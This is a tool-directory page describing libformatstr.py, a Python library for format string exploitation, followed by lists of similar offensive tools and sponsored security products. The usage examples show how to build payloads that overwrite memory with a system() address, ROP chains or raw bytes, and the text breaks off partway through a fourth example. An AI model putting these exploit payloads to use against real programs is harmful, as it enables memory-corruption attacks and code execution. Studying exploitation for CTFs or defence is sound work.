libformatstr.py
Small script to simplify format string exploitation. Usage Case 1 - replace one dword: import sys from libformatstr import FormatStr addr = 0x08049580 system_addr = 0x080489a3 p = FormatStr() p[addr] = system_addr # buf is 14th argument, 4 bytes are already printed sys.stdout.write( p.payload(14, start_len=4) ) Case 2 - put ROP code somewhere: import sys from libformatstr import FormatStr addr = 0x08049580 rop = [0x080487af, 0x0804873c, 0x080488de] p = FormatStr() p[addr] = rop sys.stdout.write( p.payload(14) ) Case 3 - guess argument number and padding: import sys from libformatstr import FormatStr # let's say we have do_fmt function, # which gives us only output of format string # (you can also just copy fmtstr and output manually) buf_size = 250 # fix buf_size to avoid offset variation res = do_fmt(make_pattern(buf_size)) argnum, padding = guess_argnum(res, buf_size) # of course you can use it in payload generation p = FormatStr(buf_size) p[0xbffffe70] = "\x70\xfe\xff\xbf\xeb\fe" # yes, you can also put strings sys.stdout.write( p.payload(argnum, padding, 3) ) # we know 3 bytes were printed already Case 4 - write something in specificed order: from libformatstr
FEATURES
EXPLORE BY TAGS
SIMILAR TOOLS
AzureC2Relay enhances security by validating and relaying Cobalt Strike beacon traffic through Azure Functions.
SharpEDRChecker scans system components to detect security products and tools.
Advanced command and control tool for red teaming and adversary simulation with extensive features and evasion capabilities.
BeEF is a specialized penetration testing tool for exploiting web browser vulnerabilities to assess security.
A digital archive of the internet, allowing users to capture and browse archived web pages.
A CVE compliant archive of public exploits and corresponding vulnerable software, and a categorized index of Internet search engine queries designed to uncover sensitive information.
A command that builds and executes command lines from standard input, allowing for the execution of commands with multiple arguments.
Generates randomized C2 profiles for Cobalt Strike to evade detection.
A suite of tools for Wi-Fi network security assessment and penetration testing.
PINNED
Proton Pass is a cross-platform password manager that provides encrypted storage, password generation, and security monitoring features with integrated 2FA and dark web monitoring capabilities.
NordVPN is a commercial VPN service that encrypts internet connections and hides IP addresses through a global network of servers, featuring integrated threat protection and multi-device support.
Fractional CISO service that helps B2B companies implement security leadership to win enterprise deals, achieve compliance, and develop strategic security programs.
Checkmarx SCA
A software composition analysis tool that identifies vulnerabilities, malicious code, and license risks in open source dependencies throughout the software development lifecycle.
Orca Security
A cloud-native application protection platform that provides agentless security monitoring, vulnerability management, and compliance capabilities across multi-cloud environments.
DryRun
A GitHub application that performs automated security code reviews by analyzing contextual security aspects of code changes during pull requests.